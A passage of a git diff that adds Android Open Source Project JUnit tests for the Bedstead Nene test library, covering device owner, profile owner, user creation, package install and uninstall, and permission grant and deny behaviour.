+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import com.google.common.truth.Truth;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class TestApisTest {
+
+    private final TestApis mTestApis = new TestApis();
+
+    @Test
+    public void users_returnsInstance() {
+        Truth.assertThat(mTestApis.users()).isNotNull();
+    }
+
+    @Test
+    public void users_multipleCalls_returnsSameInstance() {
+        Truth.assertThat(mTestApis.users()).isEqualTo(mTestApis.users());
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java
new file mode 100644
index 0000000..d3a23ee
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DeviceOwnerTest.java
@@ -0,0 +1,91 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.devicepolicy;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ComponentName;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppProvider;
+import com.android.eventlib.premade.EventLibDeviceAdminReceiver;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class DeviceOwnerTest {
+
+    //  TODO(180478924): We shouldn't need to hardcode this
+    private static final String DEVICE_ADMIN_TESTAPP_PACKAGE_NAME = "android.DeviceAdminTestApp";
+    private static final ComponentName DPC_COMPONENT_NAME =
+            new ComponentName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME,
+                    EventLibDeviceAdminReceiver.class.getName());
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final UserReference sUser = sTestApis.users().instrumented();
+
+    private static TestApp sTestApp;
+    private static DeviceOwner sDeviceOwner;
+
+    @BeforeClass
+    public static void setupClass() {
+        sTestApp = new TestAppProvider().query()
+                .withPackageName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME)
+                .get();
+
+        sTestApp.install(sUser);
+
+        sDeviceOwner = sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
+    }
+
+    @AfterClass
+    public static void teardownClass() {
+        sDeviceOwner.remove();
+        sTestApp.reference().uninstall(sUser);
+    }
+
+    @Test
+    public void user_returnsUser() {
+        assertThat(sDeviceOwner.user()).isEqualTo(sUser);
+    }
+
+    @Test
+    public void pkg_returnsPackage() {
+        assertThat(sDeviceOwner.pkg()).isEqualTo(sTestApp.reference());
+    }
+
+    @Test
+    public void componentName_returnsComponentName() {
+        assertThat(sDeviceOwner.componentName()).isEqualTo(DPC_COMPONENT_NAME);
+    }
+
+    @Test
+    public void remove_removesDeviceOwner() {
+        sDeviceOwner.remove();
+        try {
+            assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNull();
+        } finally {
+            sDeviceOwner = sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DevicePolicyTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DevicePolicyTest.java
new file mode 100644
index 0000000..d26fb2c
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/DevicePolicyTest.java
@@ -0,0 +1,306 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.devicepolicy;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.ComponentName;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.users.UserType;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppProvider;
+import com.android.eventlib.premade.EventLibDeviceAdminReceiver;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class DevicePolicyTest {
+
+    //  TODO(180478924): We shouldn't need to hardcode this
+    private static final String DEVICE_ADMIN_TESTAPP_PACKAGE_NAME = "android.DeviceAdminTestApp";
+    private static final ComponentName DPC_COMPONENT_NAME =
+            new ComponentName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME,
+                    EventLibDeviceAdminReceiver.class.getName());
+    private static final ComponentName NOT_DPC_COMPONENT_NAME =
+            new ComponentName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME,
+                    "incorrect.class.name");
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static final UserReference NON_EXISTENT_USER = sTestApis.users().find(99999);
+
+    private static TestApp sTestApp;
+
+    @BeforeClass
+    public static void setupClass() {
+        sTestApp = new TestAppProvider().query()
+                .withPackageName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME)
+                .get();
+
+        sTestApp.install(sUser);
+    }
+
+    @AfterClass
+    public static void teardownClass() {
+        sTestApp.reference().uninstall(sUser);
+    }
+
+    @Test
+    public void setProfileOwner_profileOwnerIsSet() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        sTestApp.install(profile);
+
+        ProfileOwner profileOwner =
+                sTestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME);
+
+        try {
+            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isEqualTo(profileOwner);
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void setProfileOwner_profileOwnerIsAlreadySet_throwsException() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            sTestApp.install(profile);
+
+            sTestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME);
+
+            assertThrows(NeneException.class,
+                    () -> sTestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME));
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void setProfileOwner_componentNameNotInstalled_throwsException() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            assertThrows(NeneException.class,
+                    () -> sTestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME));
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void setProfileOwner_componentNameIsNotDPC_throwsException() {
+        assertThrows(NeneException.class,
+                () -> sTestApis.devicePolicy().setProfileOwner(sUser, NOT_DPC_COMPONENT_NAME));
+    }
+
+    @Test
+    public void setProfileOwner_nullUser_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> sTestApis.devicePolicy().setProfileOwner(
+                        /* user= */ null, DPC_COMPONENT_NAME));
+    }
+
+    @Test
+    public void setProfileOwner_nullComponentName_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> sTestApis.devicePolicy().setProfileOwner(
+                        sUser, /* profileOwnerComponent= */ null));
+    }
+
+    @Test
+    public void setProfileOwner_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class,
+                () -> sTestApis.devicePolicy().setProfileOwner(
+                        NON_EXISTENT_USER, DPC_COMPONENT_NAME));
+    }
+
+    @Test
+    public void getProfileOwner_returnsProfileOwner() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+        try {
+            sTestApp.install(profile);
+
+            ProfileOwner profileOwner =
+                    sTestApis.devicePolicy().setProfileOwner(profile, DPC_COMPONENT_NAME);
+
+            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isEqualTo(profileOwner);
+        } finally {
+            profile.remove();
+        }
+    }
+
+    @Test
+    public void getProfileOwner_noProfileOwner_returnsNull() {
+        UserReference profile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+
+        try {
+            assertThat(sTestApis.devicePolicy().getProfileOwner(profile)).isNull();
+        } finally {
+            profile.remove();
+        }
+
+    }
+
+    @Test
+    public void getProfileOwner_nullUser_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> sTestApis.devicePolicy().getProfileOwner(null));
+    }
+
+    @Test
+    public void setDeviceOwner_deviceOwnerIsSet() {
+        DeviceOwner deviceOwner =
+                sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
+
+        try {
+            assertThat(sTestApis.devicePolicy().getDeviceOwner()).isEqualTo(deviceOwner);
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    public void setDeviceOwner_deviceOwnerIsAlreadySet_throwsException() {
+        DeviceOwner deviceOwner =
+                sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
+
+        try {
+            assertThrows(NeneException.class,
+                    () -> sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME));
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    public void setDeviceOwner_componentNameNotInstalled_throwsException() {
+        sTestApp.reference().uninstall(sUser);
+        try {
+            assertThrows(NeneException.class,
+                    () -> sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME));
+        } finally {
+            sTestApp.install(sUser);
+        }
+    }
+
+    @Test
+    public void setDeviceOwner_componentNameIsNotDPC_throwsException() {
+        assertThrows(NeneException.class,
+                () -> sTestApis.devicePolicy().setDeviceOwner(sUser, NOT_DPC_COMPONENT_NAME));
+    }
+
+    @Test
+    public void setDeviceOwner_userAlreadyOnDevice_throwsException() {
+        UserReference user = sTestApis.users().createUser().create();
+
+        try {
+            assertThrows(NeneException.class,
+                    () -> sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME));
+        } finally {
+            user.remove();
+        }
+    }
+
+    @Test
+    @Ignore("TODO: Update once account support is added to Nene")
+    public void setDeviceOwner_accountAlreadyOnDevice_throwsException() {
+    }
+
+    @Test
+    public void setDeviceOwner_nullUser_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> sTestApis.devicePolicy().setDeviceOwner(
+                        /* user= */ null, DPC_COMPONENT_NAME));
+    }
+
+    @Test
+    public void setDeviceOwner_nullComponentName_throwsException() {
+        assertThrows(NullPointerException.class,
+                () -> sTestApis.devicePolicy().setDeviceOwner(
+                        sUser, /* deviceOwnerComponent= */ null));
+    }
+
+    @Test
+    public void setDeviceOwner_userDoesNotExist_throwsException() {
+        assertThrows(NeneException.class,
+                () -> sTestApis.devicePolicy().setDeviceOwner(
+                        NON_EXISTENT_USER, DPC_COMPONENT_NAME));
+    }
+
+    @Test
+    public void getDeviceOwner_returnsDeviceOwner() {
+        DeviceOwner deviceOwner =
+                sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME);
+
+        try {
+            assertThat(sTestApis.devicePolicy().getDeviceOwner()).isEqualTo(deviceOwner);
+        } finally {
+            deviceOwner.remove();
+        }
+    }
+
+    @Test
+    public void getDeviceOwner_noDeviceOwner_returnsNull() {
+        // We must assume no device owner entering the test
+        // TODO(scottjonathan): Encode this assumption in the annotations when Harrier supports
+        assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNull();
+    }
+
+    @Test
+    public void profileOwner_autoclose_removesProfileOwner() {
+        try (ProfileOwner profileOwner =
+                     sTestApis.devicePolicy().setProfileOwner(sUser, DPC_COMPONENT_NAME)) {
+            // We intentionally don't do anything here, just rely on the auto-close behaviour
+        }
+
+        assertThat(sTestApis.devicePolicy().getProfileOwner(sUser)).isNull();
+    }
+
+    @Test
+    public void deviceOwner_autoclose_removesDeviceOwner() {
+        try (DeviceOwner deviceOwner =
+                     sTestApis.devicePolicy().setDeviceOwner(sUser, DPC_COMPONENT_NAME)) {
+            // We intentionally don't do anything here, just rely on the auto-close behaviour
+        }
+
+        assertThat(sTestApis.devicePolicy().getDeviceOwner()).isNull();
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java
new file mode 100644
index 0000000..5bc0232
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/devicepolicy/ProfileOwnerTest.java
@@ -0,0 +1,97 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.devicepolicy;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ComponentName;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+import com.android.bedstead.nene.users.UserType;
+import com.android.bedstead.testapp.TestApp;
+import com.android.bedstead.testapp.TestAppProvider;
+import com.android.eventlib.premade.EventLibDeviceAdminReceiver;
+
+import org.junit.AfterClass;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class ProfileOwnerTest {
+
+    //  TODO(180478924): We shouldn't need to hardcode this
+    private static final String DEVICE_ADMIN_TESTAPP_PACKAGE_NAME = "android.DeviceAdminTestApp";
+    private static final ComponentName DPC_COMPONENT_NAME =
+            new ComponentName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME,
+                    EventLibDeviceAdminReceiver.class.getName());
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static UserReference sProfile;
+
+    private static TestApp sTestApp;
+    private static ProfileOwner sProfileOwner;
+
+    @BeforeClass
+    public static void setupClass() {
+        sProfile = sTestApis.users().createUser()
+                .parent(sUser)
+                .type(sTestApis.users().supportedType(UserType.MANAGED_PROFILE_TYPE_NAME))
+                .createAndStart();
+
+        sTestApp = new TestAppProvider().query()
+                .withPackageName(DEVICE_ADMIN_TESTAPP_PACKAGE_NAME)
+                .get();
+
+        sTestApp.install(sProfile);
+
+        sProfileOwner = sTestApis.devicePolicy().setProfileOwner(sProfile, DPC_COMPONENT_NAME);
+    }
+
+    @AfterClass
+    public static void teardownClass() {
+        sProfile.remove();
+    }
+
+    @Test
+    public void user_returnsUser() {
+        assertThat(sProfileOwner.user()).isEqualTo(sProfile);
+    }
+
+    @Test
+    public void pkg_returnsPackage() {
+        assertThat(sProfileOwner.pkg()).isEqualTo(sTestApp.reference());
+    }
+
+    @Test
+    public void componentName_returnsComponentName() {
+        assertThat(sProfileOwner.componentName()).isEqualTo(DPC_COMPONENT_NAME);
+    }
+
+    @Test
+    public void remove_removesProfileOwner() {
+        sProfileOwner.remove();
+        try {
+            assertThat(sTestApis.devicePolicy().getProfileOwner(sProfile)).isNull();
+        } finally {
+            sProfileOwner = sTestApis.devicePolicy().setProfileOwner(sProfile, DPC_COMPONENT_NAME);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java
new file mode 100644
index 0000000..60f1cab
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageReferenceTest.java
@@ -0,0 +1,325 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import android.content.Context;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.exceptions.NeneException;
+import com.android.bedstead.nene.users.UserReference;
+
+import org.junit.AfterClass;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+
+@RunWith(JUnit4.class)
+public class PackageReferenceTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static final String NON_EXISTING_PACKAGE_NAME = "com.package.does.not.exist";
+    private static final String PACKAGE_NAME = NON_EXISTING_PACKAGE_NAME;
+    private static final String EXISTING_PACKAGE_NAME = "com.android.providers.telephony";
+    private final PackageReference mTestAppReference =
+            sTestApis.packages().find(TEST_APP_PACKAGE_NAME);
+
+    // Controlled by AndroidTest.xml
+    private static final String TEST_APP_PACKAGE_NAME =
+            "com.android.bedstead.nene.testapps.TestApp1";
+    private static final File TEST_APP_APK_FILE =
+            new File("/data/local/tmp/NeneTestApp1.apk");
+    private static final Context sContext =
+            sTestApis.context().instrumentedContext();
+    private static final UserReference sOtherUser = sTestApis.users().createUser().createAndStart();
+
+    private static final PackageReference sInstrumentedPackage =
+            sTestApis.packages().find(sContext.getPackageName());
+
+    // Relies on this being declared by AndroidManifest.xml
+    // TODO(scottjonathan): Replace with TestApp
+    private static final String INSTALL_PERMISSION = "android.permission.CHANGE_WIFI_STATE";
+    private static final String UNDECLARED_RUNTIME_PERMISSION = "android.permission.RECEIVE_SMS";
+    private static final String DECLARED_RUNTIME_PERMISSION =
+            "android.permission.INTERACT_ACROSS_USERS";
+    private static final String NON_EXISTING_PERMISSION = "aPermissionThatDoesntExist";
+    private static final String USER_SPECIFIC_PERMISSION = "android.permission.READ_CONTACTS";
+
+
+    @AfterClass
+    public static void teardownClass() {
+        // TODO(scottjonathan): Use annotations to share state instead of doing so manually
+        sOtherUser.remove();
+    }
+
+    @Test
+    public void packageName_returnsPackageName() {
+        sTestApis.packages().find(PACKAGE_NAME).packageName().equals(PACKAGE_NAME);
+    }
+
+    @Test
+    public void resolve_nonExistingPackage_returnsNull() {
+        assertThat(sTestApis.packages().find(NON_EXISTING_PACKAGE_NAME).resolve()).isNull();
+    }
+
+    @Test
+    public void resolve_existingPackage_returnsPackage() {
+        assertThat(sTestApis.packages().find(EXISTING_PACKAGE_NAME).resolve()).isNotNull();
+    }
+
+    @Test
+    public void install_alreadyInstalled_installsInUser() {
+        sInstrumentedPackage.install(sOtherUser);
+
+        try {
+            assertThat(sInstrumentedPackage.resolve().installedOnUsers()).contains(sOtherUser);
+        } finally {
+            sInstrumentedPackage.uninstall(sOtherUser);
+        }
+    }
+
+    @Test
+    public void uninstall_packageIsInstalledForDifferentUser_isUninstalledForUser() {
+        PackageReference pkg = sTestApis.packages().install(sUser, TEST_APP_APK_FILE);
+        try {
+            sTestApis.packages().install(sOtherUser, TEST_APP_APK_FILE);
+
+            mTestAppReference.uninstall(sUser);
+
+            assertThat(mTestAppReference.resolve().installedOnUsers()).containsExactly(sOtherUser);
+        } finally {
+            pkg.uninstall(sUser);
+            pkg.uninstall(sOtherUser);
+        }
+    }
+
+    @Test
+    public void uninstall_packageIsUninstalled() {
+        sTestApis.packages().install(sUser, TEST_APP_APK_FILE);
+
+        mTestAppReference.uninstall(sUser);
+
+        // Depending on when Android cleans up the users, this may either no longer resolve or
+        // just have an empty user list
+        Package pkg = mTestAppReference.resolve();
+        if (pkg != null) {
+            assertThat(pkg.installedOnUsers()).isEmpty();
+        }
+    }
+
+    @Test
+    public void uninstall_packageNotInstalledForUser_doesNotThrowException() {
+        sTestApis.packages().install(sUser, TEST_APP_APK_FILE);
+
+        try {
+            mTestAppReference.uninstall(sOtherUser);
+        } finally {
+            mTestAppReference.uninstall(sUser);
+        }
+    }
+
+    @Test
+    public void uninstall_packageDoesNotExist_doesNotThrowException() {
+        PackageReference packageReference = sTestApis.packages().find(NON_EXISTING_PACKAGE_NAME);
+
+        packageReference.uninstall(sUser);
+    }
+
+    @Test
+    public void grantPermission_installPermission_throwsException() {
+        assertThrows(NeneException.class, () ->
+                sTestApis.packages().find(sContext.getPackageName()).grantPermission(sUser,
+                INSTALL_PERMISSION));
+    }
+
+    @Test
+    public void grantPermission_nonDeclaredPermission_throwsException() {
+        assertThrows(NeneException.class, () ->
+                sTestApis.packages().find(sContext.getPackageName()).grantPermission(sUser,
+                UNDECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    public void grantPermission_permissionIsGranted() {
+        sInstrumentedPackage.install(sOtherUser);
+        sInstrumentedPackage.grantPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
+
+        try {
+            assertThat(sInstrumentedPackage.resolve().grantedPermissions(sOtherUser))
+                    .contains(DECLARED_RUNTIME_PERMISSION);
+        } finally {
+            sInstrumentedPackage.denyPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
+        }
+    }
+
+    @Test
+    public void grantPermission_permissionIsUserSpecific_permissionIsGrantedOnlyForThatUser() {
+        // Permissions are auto-granted on the current user so we need to test against new users
+        try (UserReference newUser = sTestApis.users().createUser().create()) {
+            sInstrumentedPackage.install(sOtherUser);
+            sInstrumentedPackage.install(newUser);
+
+            sInstrumentedPackage.grantPermission(newUser, USER_SPECIFIC_PERMISSION);
+
+            Package resolvedPackage = sInstrumentedPackage.resolve();
+            assertThat(resolvedPackage.grantedPermissions(sOtherUser))
+                    .doesNotContain(USER_SPECIFIC_PERMISSION);
+            assertThat(resolvedPackage.grantedPermissions(newUser))
+                    .contains(USER_SPECIFIC_PERMISSION);
+        } finally {
+            sInstrumentedPackage.uninstall(sOtherUser);
+        }
+    }
+
+    @Test
+    public void grantPermission_packageDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () ->
+                sTestApis.packages().find(NON_EXISTING_PACKAGE_NAME).grantPermission(sUser,
+                DECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    public void grantPermission_permissionDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () ->
+                sTestApis.packages().find(sContext.getPackageName()).grantPermission(sUser,
+                NON_EXISTING_PERMISSION));
+    }
+
+    @Test
+    public void grantPermission_packageIsNotInstalledForUser_throwsException() {
+        sInstrumentedPackage.uninstall(sOtherUser);
+
+        assertThrows(NeneException.class,
+                () -> sInstrumentedPackage.grantPermission(sOtherUser,
+                        DECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    @Ignore("Cannot be tested because all runtime permissions are granted by default")
+    public void denyPermission_ownPackage_permissionIsNotGranted_doesNotThrowException() {
+        PackageReference packageReference = sTestApis.packages().find(sContext.getPackageName());
+
+        packageReference.denyPermission(sUser, USER_SPECIFIC_PERMISSION);
+    }
+
+    @Test
+    public void denyPermission_ownPackage_permissionIsGranted_throwsException() {
+        PackageReference packageReference = sTestApis.packages().find(sContext.getPackageName());
+        packageReference.grantPermission(sUser, USER_SPECIFIC_PERMISSION);
+
+        assertThrows(NeneException.class, () ->
+                packageReference.denyPermission(sUser, USER_SPECIFIC_PERMISSION));
+    }
+
+    @Test
+    public void denyPermission_permissionIsNotGranted() {
+        sInstrumentedPackage.install(sOtherUser);
+        try {
+            sInstrumentedPackage.grantPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
+
+            sInstrumentedPackage.denyPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
+
+            assertThat(sInstrumentedPackage.resolve().grantedPermissions(sOtherUser))
+                    .doesNotContain(USER_SPECIFIC_PERMISSION);
+        } finally {
+            sInstrumentedPackage.uninstall(sOtherUser);
+        }
+    }
+
+    @Test
+    public void denyPermission_packageDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () ->
+                sTestApis.packages().find(NON_EXISTING_PACKAGE_NAME).denyPermission(sUser,
+                        DECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    public void denyPermission_permissionDoesNotExist_throwsException() {
+        assertThrows(NeneException.class, () ->
+                sTestApis.packages().find(sContext.getPackageName()).denyPermission(sUser,
+                        NON_EXISTING_PERMISSION));
+    }
+
+    @Test
+    public void denyPermission_packageIsNotInstalledForUser_throwsException() {
+        sInstrumentedPackage.uninstall(sOtherUser);
+
+        assertThrows(NeneException.class,
+                () -> sInstrumentedPackage.denyPermission(sOtherUser, DECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    public void denyPermission_installPermission_throwsException() {
+        sInstrumentedPackage.install(sOtherUser);
+
+        try {
+            assertThrows(NeneException.class, () ->
+                    sInstrumentedPackage.denyPermission(sOtherUser, INSTALL_PERMISSION));
+        } finally {
+            sInstrumentedPackage.uninstall(sOtherUser);
+        }
+    }
+
+    @Test
+    public void denyPermission_nonDeclaredPermission_throwsException() {
+        assertThrows(NeneException.class, () ->
+                sTestApis.packages().find(sContext.getPackageName()).denyPermission(sUser,
+                        UNDECLARED_RUNTIME_PERMISSION));
+    }
+
+    @Test
+    public void denyPermission_alreadyDenied_doesNothing() {
+        sInstrumentedPackage.install(sOtherUser);
+        try {
+            sInstrumentedPackage.denyPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
+            sInstrumentedPackage.denyPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
+
+            assertThat(sInstrumentedPackage.resolve().grantedPermissions(sOtherUser))
+                    .doesNotContain(USER_SPECIFIC_PERMISSION);
+        } finally {
+            sInstrumentedPackage.uninstall(sOtherUser);
+        }
+    }
+
+    @Test
+    public void denyPermission_permissionIsUserSpecific_permissionIsDeniedOnlyForThatUser() {
+        // Permissions are auto-granted on the current user so we need to test against new users
+        try (UserReference newUser = sTestApis.users().createUser().create()) {
+            sInstrumentedPackage.install(sOtherUser);
+            sInstrumentedPackage.install(newUser);
+            sInstrumentedPackage.grantPermission(sOtherUser, USER_SPECIFIC_PERMISSION);
+            sInstrumentedPackage.grantPermission(newUser, USER_SPECIFIC_PERMISSION);
+
+            sInstrumentedPackage.denyPermission(newUser, USER_SPECIFIC_PERMISSION);
+
+            Package resolvedPackage = sInstrumentedPackage.resolve();
+            assertThat(resolvedPackage.grantedPermissions(newUser))
+                    .doesNotContain(USER_SPECIFIC_PERMISSION);
+            assertThat(resolvedPackage.grantedPermissions(sOtherUser))
+                    .contains(USER_SPECIFIC_PERMISSION);
+        } finally {
+            sInstrumentedPackage.uninstall(sOtherUser);
+        }
+    }
+}
diff --git a/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
new file mode 100644
index 0000000..4794762
--- /dev/null
+++ b/common/device-side/bedstead/nene/src/test/java/com/android/bedstead/nene/packages/PackageTest.java
@@ -0,0 +1,83 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.nene.packages;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.users.UserReference;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+
+@RunWith(JUnit4.class)
+public class PackageTest {
+
+    // Controlled by AndroidTest.xml
+    private static final String TEST_APP_PACKAGE_NAME =
